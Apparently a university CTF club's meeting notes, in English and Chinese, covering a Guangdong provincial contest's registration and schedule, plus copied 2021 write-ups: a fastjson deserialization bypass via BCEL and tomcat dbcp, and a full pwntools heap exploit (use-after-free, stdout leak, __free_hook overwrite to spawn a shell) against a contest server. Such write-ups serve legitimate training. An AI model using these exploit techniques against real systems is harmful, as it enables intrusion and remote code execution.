Skip to content

CTF Week Meeting 2022-04-07

  1. Guangdong Province University CTF.
  2. Offline schedule.

第二节广东大学生网络安全攻防大赛

  • 5月15日前,各高校遴选参加全省比赛队伍,一所学校可有多组队伍参赛;

  • 5月21日至22日,组织省级初赛评审,初赛内容为30%知识赛+70%攻防夺旗赛,按照成绩高低取前30名队伍进入省级总决赛,每个高校晋级队伍不超过2个;

  • 报名时间:截止至2022年5月15日(星期日)17:00。

  • 报名方式:参赛学校填写相关报名表,将省级初赛报名表(附件3)发至指定邮箱tw@hzu.edu.cn;同时,加入赛事咨询QQ群825405920。

The sign-up would be collected and submitted once.

According to the previous event, there are some problems:

  • 初赛环境老是炸,最后30多分钟都炸了,答案都提交不了
  • 晋级塞,,题目也偶尔会出现断开的问题,,第二个web题,,竟然一开始直接返回空,后来又可以了??不知道是不是只有我遇到这个问题,,晕
  • 而且,,晋级赛竟然不是uuid式动态flag。。。。?

(From https://tari.moe/2021/05/23/2021gd-university-ctf/)

old

image.png

任意文件读取,不过flag.txt 读不了,但可以看 hint.txtsmali 字节码,提示了 fastjson 1.2.24

image.png

先读取本进程相关目录

image.png

/usr/local/run/start.jar 获取源码,IDEA打开分析

image.png

原来过滤了 flag ,怪不得读取不了

往反序列化方向,不过有waf

image.png

然后还有限制

image.png

这里卡了挺久,试了网上很多EXP,都不行

然后突然想起fastjson反序列化的原理

一般是需要别的库的配合,通过反射获取相关方法的

于是我一个个依赖找

image.png

搜了下 spring ,没有相关漏洞,但是在 tomcat dbcp 里刚好发现了可以利用,而且不用利用 rmi ldap 之类的

https://kingx.me/Exploit-FastJson-Without-Reverse-Connect.html

然后刚好用到 BCEL,HFCTF2021也刚好用到, 刚好复现过了,所以非常熟练 (

https://github.com/f1tz/BCELCodeman

编写 java poc,转换为 class 然后生成 BCEL

这样可以绕过waf的黑名单,即绕过了第1个challenge

还有2个 challenge,这个简单,就长度大于2000,然后需要包含 flag 关键字

这里直接把 /flag.txt改一下名读取即可

image.png

image.png

BabyNote

题目是基于 glibc 2.31 的菜单堆题。

漏洞出现在 free 之后没有置零指针导致的 UAF :

image-20210524162332431

程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。

思路

  1. 利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址
  2. 爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址
  3. 利用 tcache dup get shell

遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :

p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
1

flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23

image-20210524170155561

导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。

EXP

from pwn import *
# context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']



def add(content):
    p.sendlineafter(">>> ",str(1))
    p.sendafter("Input Content:\n",content)
def gift():
    p.sendlineafter(">>> ",str(666))
def delete(id):
    p.sendlineafter(">>> ",str(3))
    p.sendlineafter("Input ID:\n",str(id))
def edit(id,content):
    p.sendlineafter(">>> ",str(2))
    p.sendlineafter("Input ID:\n",str(id))
    p.sendafter("Input Content:\n",content)

def exp():
    add('a'*58)#0
    add('a'*58)#1
    add('a'*58)#2
    for _ in range(8):
        delete(0)
        edit(0,'b'*0x58)
    edit(0,'\x00'*0x10)
    p.sendlineafter(">>> ",'1'*0x450)
    edit(0,'\xa0\x66')

    stdout_offset = libc.symbols['_IO_2_1_stdout_']
    log.info("stdout_offset:"+hex(stdout_offset))

    add('c'*0x8)#3
    # gdb.attach(p,"b *$rebase(0x1392)")
    # raw_input()
    add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00))#4
    libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000)#- (0x7ffff7fac980-0x7ffff7dc1000)
    log.info("libc_addr:"+hex(libc_addr))

    free_hook = libc_addr+libc.sym['__free_hook']
    system_addr = libc_addr+libc.sym['system']
    binsh_str = libc_addr+libc.search('/bin/sh').next()

    delete(1)
    edit(1,p64(free_hook)*2)
    add('/bin/sh\x00')
    add(p64(system_addr))
    delete(1)

    p.interactive()


# p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
# libc = ELF("./libc-2.31.so")
# exp()

if __name__ == '__main__':
    # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
    # libc = ELF("./libc-2.31.so")
    # p = process("./BabyNote")
    # libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    p = remote("8.134.14.168", 10000)
    libc = ELF("./libc-2.31.so")
    while True:
        try:
            exp()
            exit(0)
        except:
            p.close()
            p = remote("8.134.14.168", 10000)
            # p = process("./BabyNote",env={'LD_PRELOAD':'./libc-2.31.so'})
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172

WX20210523-133922

Offline Activity Schedule

We have returned to the campus yesterday.

Looking forward to our offline activity.

  • We are going to use the expert-beginner cooperating method.
  • The training competition would be more serious.
  • CTF platform would collect self-designed challenges and closed competition challenges.
  • Some competition schedules would be replaced with AWD competition.

Note

  • [ ] 第一届题目搜集发布